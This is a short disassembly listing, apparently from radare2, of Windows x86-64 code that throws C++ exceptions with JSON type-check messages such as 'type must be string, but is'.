lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x310]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x130]
call fcn.1400784b0
nop
mov r8, rax
lea rcx, [rbp + 0x348]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x348]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x130]
call fcn.1400784b0
nop
mov r8, rax
lea rcx, [rbp + 0x380]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x380]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rdx
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rdx, str.type_must_be_number__but_is
lea rcx, [rbp + 0x130]
call fcn.1400784b0
nop
mov r8, rax
lea rcx, [rbp + 0x3b8]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x3b8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x650], rax
lea r8, [rbp + 0x650]
lea rcx, [rbp + 0x130]
call fcn.1400781c0
nop
mov r8, rax
lea rcx, [rbp + 0x3f0]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x3f0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3